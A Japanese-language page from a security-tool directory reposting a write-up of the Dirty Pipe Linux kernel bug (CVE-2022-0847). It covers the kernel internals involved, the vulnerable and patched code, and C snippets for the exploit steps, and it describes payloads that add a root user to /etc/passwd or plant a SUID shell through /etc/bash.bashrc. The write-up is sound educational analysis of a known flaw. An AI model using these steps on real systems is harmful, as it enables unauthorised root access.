Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug- — CVE-2022-0847の悪用 - 著者 : Antonius (w1sdom) | Kitploit
ツール/GitHubGitHub/bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-
特権昇格脆弱性分析コード分析エクスプロイトCTF学習と教育バイナリエクスプロイトラボと実践
GitHub

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-

Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug-

CVE-2022-0847の悪用 - 著者 : Antonius (w1sdom)

リポジトリを見る
3117ヶ月前未レビュー

Linux Kernel Dirty Pipeエクスプロイト(ロジックバグ)


著者: Antonius (w1sdom)
https://www.bluedragonsec.com
https://github.com/bluedragonsecurity

Dirty Pipe(CVE-2022-0847)は、2022年にMax Kellermannによって発見された、Linux Kernel 5.8~5.15.24における最も重大なセキュリティ脆弱性の1つです。この脆弱性により、特別な権限を持たない一般ユーザーが、読み取り専用であるべきファイルのデータを上書きできるようになります。 中核となる概念の理解

Dirty Pipeについて詳しく説明する前に、理解しておくべきLinuxカーネルの内部概念をいくつか紹介します。

1. ページング
ページングは、Linuxカーネルのメモリ管理メカニズムであり、メモリシステムが物理メモリをページフレームと呼ばれる固定サイズの小さなブロックに分割し、仮想メモリを同じサイズのページと呼ばれるブロックに分割します。 このメカニズムにより、カーネルはプロセスの仮想アドレス空間を非連続的な方法で物理メモリにマッピングできるため、最新システムの効率性とセキュリティにとって極めて重要です。

2. ページ(仮想メモリ)
Linuxでは、ページはカーネルが扱う物理メモリ管理の最小単位です。 例え話:RAMは巨大な本のようなものです。ページはその本の1枚の紙です。カーネルはデータをビット単位で移動するのではなく、紙1枚単位(ページ単位)で移動します。 一般的に、最新のシステムアーキテクチャ(x86_64など)では、1ページの標準サイズは4 KB(4096バイト)です。

3. ページキャッシュ
これは極めて重要な部分です。Linuxはディスクから毎回直接ファイルを読み込むわけではありません。遅いからです。カーネルはファイルの内容をページキャッシュと呼ばれるRAMにコピーします。

  • ファイルを読み取ると、カーネルはそのファイルをページキャッシュにロードします。
  • 別のプロセスが同じファイルを読み取りたい場合、カーネルはそのメモリに既に存在するページへの参照を提供するだけです。
ページキャッシュはカーネル空間に存在します。

4. パイプバッファ
パイプはプロセス間通信(IPC)メカニズムです。内部的には、カーネルはpipe_inode_infoデータ構造を使用してパイプを管理します。パイプ内のデータは、パイプバッファと呼ばれる「バッファ」に格納されます。

  • リングバッファ:カーネルはこのバッファを管理するために循環(リング)構造を使用します。リングバッファは、末尾が先頭に接続されているかのように扱われる固定サイズの単一配列を使用するデータ構造です。これにより、「無限に回転する」データフローが生まれます。
  • フラグ:各バッファには、その動作を決定する属性または「フラグ」があります(例えば、バッファをマージできるかどうか)。
パイプバッファはカーネル空間に存在します。

5. パイプバッファフラグ(PIPE_BUF_FLAG_CAN_MERGE)
PIPE_BUF_FLAG_CAN_MERGEフラグは、Linux Kernelバージョン5.8で導入されました。 ここに主な脆弱性が存在します。PIPE_BUF_FLAG_CAN_MERGEという名前のフラグです。

  • 機能:パイプに書き込まれた新しいデータが既存のバッファにマージできることをカーネルに伝えます。
  • 問題:Dirty Pipeの修正前、カーネルはsplice()を実行する際にこのフラグを適切にクリア(リセット)していませんでした。

6. Splice
splice()は、カーネル空間とユーザー空間の間でデータをコピーせずに、2つのファイルディスクリプタ間でデータを移動するためのシステムコールです。これはしばしばゼロコピーメカニズムと呼ばれます。 splice()システムコールは、Dirty Pipeにおける「主役」です:

  • データを物理的にコピーする代わりに、splice()はパイプバッファがページキャッシュ内のページを直接指すようにする最適化を実行します。
  • つまり、パイプにはファイルデータのコピーが含まれるのではなく、ファイルの物理メモリへの「ポインタ」だけが含まれることになります。

7. コピーオンライト(CoW)
コピーオンライト(CoW)メカニズムは、絶対に必要になるまでデータのコピーを遅延させるためにLinuxカーネルが使用するメモリ管理の最適化戦略です。 コピーオンライト(CoW)とDirty Pipeエクスプロイト(CVE-2022-0847)の関係は、Linuxカーネル内の小さなバグがCoWメカニズムをうまく「欺いて」、読み取り専用であるべきファイルにデータを書き込めるようにする仕組みにあります。

8. ダーティページ
ダーティページとは、アプリケーションによって変更されたが、まだ二次記憶装置(SSDやハードディスクなど)に書き戻されていないRAM内のメモリページのことです。

Dirty Pipe脆弱性の分析

Dirty Pipeは、Linuxカーネル5.8からLinuxカーネル5.15.24におけるパイプバッファ処理のロジックバグの一種です。 主な問題は、パイプメカニズム(プロセス間通信チャネル)と、カーネルがページキャッシュ(ディスクからファイルデータのコピーを格納するメモリ)を管理する方法にあります。 中核となる問題は、PIPE_BUF_FLAG_CAN_MERGEフラグのバグです。

主な問題は、カーネルがこのフラグを適切に再初期化できないこと(ロジックバグ)にあります。以下がコード分析です: バージョン5.16.11より前のLinuxカーネルのcopy_page_to_iter_pipe関数とpush_to_pipe関数では、splice操作を実行する際に、カーネルはpipe_buffer構造体を準備しますが、.flagsメンバーをクリーンアップすることを忘れています。

脆弱なコード構造:

root@kitploit:~
// Location of problem: fs/pipe.c or include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags; // <--- THIS FLAG IS NOT RESET
    unsigned long private;
};

パッチ適用前のコード(脆弱):

root@kitploit:~
// lib/iov_iter.c - Before CVE-2022-0847 patch
static size_t copy_page_to_iter_pipe(struct page *page,
    size_t offset, size_t bytes, struct iov_iter *i) {
    // ---------snip-----------
    struct pipe_buffer *buf = &pipe->bufs[head & mask];
root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEM: buf->flags NOT TOUCHED AT ALL
// --------snip----------------------

}

パッチ適用後のコード(修正済み):

root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
buf->flags = 0; // <--- TOTAL RESET TO ZERO

なぜbuf->flags = 0の方が特定のフラグを単にオフにするよりも優れているのでしょうか? pipe_bufferは再利用される構造体だからです。1つのフラグ(CAN_MERGE)だけをオフにした場合、以前のパイプ使用による他のガベージフラグ(PIPE_BUF_FLAG_GIFTやその他のカスタムフラグなど)が残ったままになり、奇妙な動作や将来の新たなセキュリティホールを引き起こす可能性があります。0に設定することで、バッファが完全に「クリーン」な状態になることが保証されます。

なぜこれをエクスプロイトできるのか?
以下がDirty Pipeのエクスプロイト手順です:
1. 汚染段階:攻撃者はwrite()でパイプにデータを挿入します。通常のwrite()操作はbuf->flags = PIPE_BUF_FLAG_CAN_MERGEを設定します。
2. 排出段階:攻撃者はそのデータを読み取ります。バッファは論理的に「空」になりますが、その構造はCAN_MERGEフラグがまだアクティブな状態でカーネルメモリに存在し続けます。
3. Splice段階:splice()システムコールが読み取り専用ファイルをパイプにマッピングすると、copy_page_to_iter_pipe()関数が呼び出されます。上記のバグにより、この関数はbuf->pageを元のファイルのメモリページで満たしますが、buf->flagsをリセットしません。
4. 実行:カーネルはこのファイルバッファをまだマージできると認識します。次回パイプに書き込むと、新しいバッファは作成されず、代わりに以前マッピングされたメモリページ(ページキャッシュ)が直接変更されます。

この時点で、攻撃者のデータは既にRAMに格納されています。RAM内でディスク上の内容と異なるページは「ダーティページ」と呼ばれます。 この段階に到達できれば、エクスプロイト成功を意味します!ページキャッシュが変更されると、その効果は即時的です。RAM内の/etc/passwdを上書きできれば、その瞬間にすぐsu rootを実行できます。

Dirty Pipeエクスプロイト

Dirty Pipeのエクスプロイトには、カーネルの保護を無効化する必要はありません。なぜなら、全てのカーネル保護はこのロジックバグを防ぐのに無関係だからです。 Dirty Pageロジックバグをエクスプロイトするために、私たちのエクスプロイトは以下の手順を実行します:

ステップ1. パイプを準備し、PIPE_BUF_FLAG_CAN_MERGEフラグをトリガーすることを目的としてパイプを満杯になるまで埋めます。

root@kitploit:~
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    write(p[1], dummy, n);
    r -= n;
}

ステップ2. パイプを空にします。

root@kitploit:~
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    read(p[0], dummy, n);
    r -= n;
}
ステップ3. splice()を使用して、ターゲットファイルからパイプにデータを挿入します。
root@kitploit:~
 
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
    perror("[-] splice failed");
    return 0;
}
ステップ4. ペイロードデータをパイプに書き込みます。
root@kitploit:~
write(p[1], payload, strlen(payload));

Dirty Pipeエクスプロイトの完全なエクスプロイトコード 完全なエクスプロイトコードはhttps://github.com/bluedragonsecurity/dirtypipe2で入手できます。

注意:完全なエクスプロイトコードには、カーネルバージョンの検証、パイプの準備、ペイロードの注入、および/etc/passwdと/etc/bash.bashrcを対象とした2つの異なるエクスプロイト方法の関数が含まれています。

エクスプロイト方法

上記のエクスプロイトは2つの異なるペイロードを使用しており、最初のペイロードが失敗した場合に2番目のペイロードが連鎖することを目的としています。
ペイロード1:/etc/passwdに書き込み、uid 0の新しいユーザー「toor」を追加します。このペイロードが成功すれば、すぐにrootシェルを取得できます。
ペイロード2:/tmp/xにSUID bashシェルを配置することを目的としています。特に2番目のペイロードは、システムのrootユーザーがログインするのを待つ必要があります。これは、SUIDシェルを配置するペイロードが/etc/bash.bashrcに注入されるためです。Linuxでは、/etc/bash.bashrcに含まれるコマンドは、システムにログインするすべてのユーザーによってログイン時に実行されます。

エクスプロイトのテスト

この例では、VirtualBox上のLubuntu 20.04.5で動作するLinuxカーネル5.13をゲストOSとして使用し、ホストOSはKali Linux 2025.4です。 Lubuntu 20.04.5マシンで、エクスプロイトをコンパイルします:

root@kitploit:~
gcc -o dirtypipe2 dirtypipe2.c

エクスプロイトを実行します:
root@kitploit:~
  ./dirtypipe2

そして最終的に、rootシェルを取得しました:

参考文献

  • 最初の公開情報:https://dirtypipe.cm4all.com/
  • CVE-2022-0847:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

• Linuxカーネルパッチ:commit 9d2231c5d74e13b2a0546fee6737ee4446017903 • エクスプロイトコード:https://github.com/bluedragonsecurity
ツールをダウンロード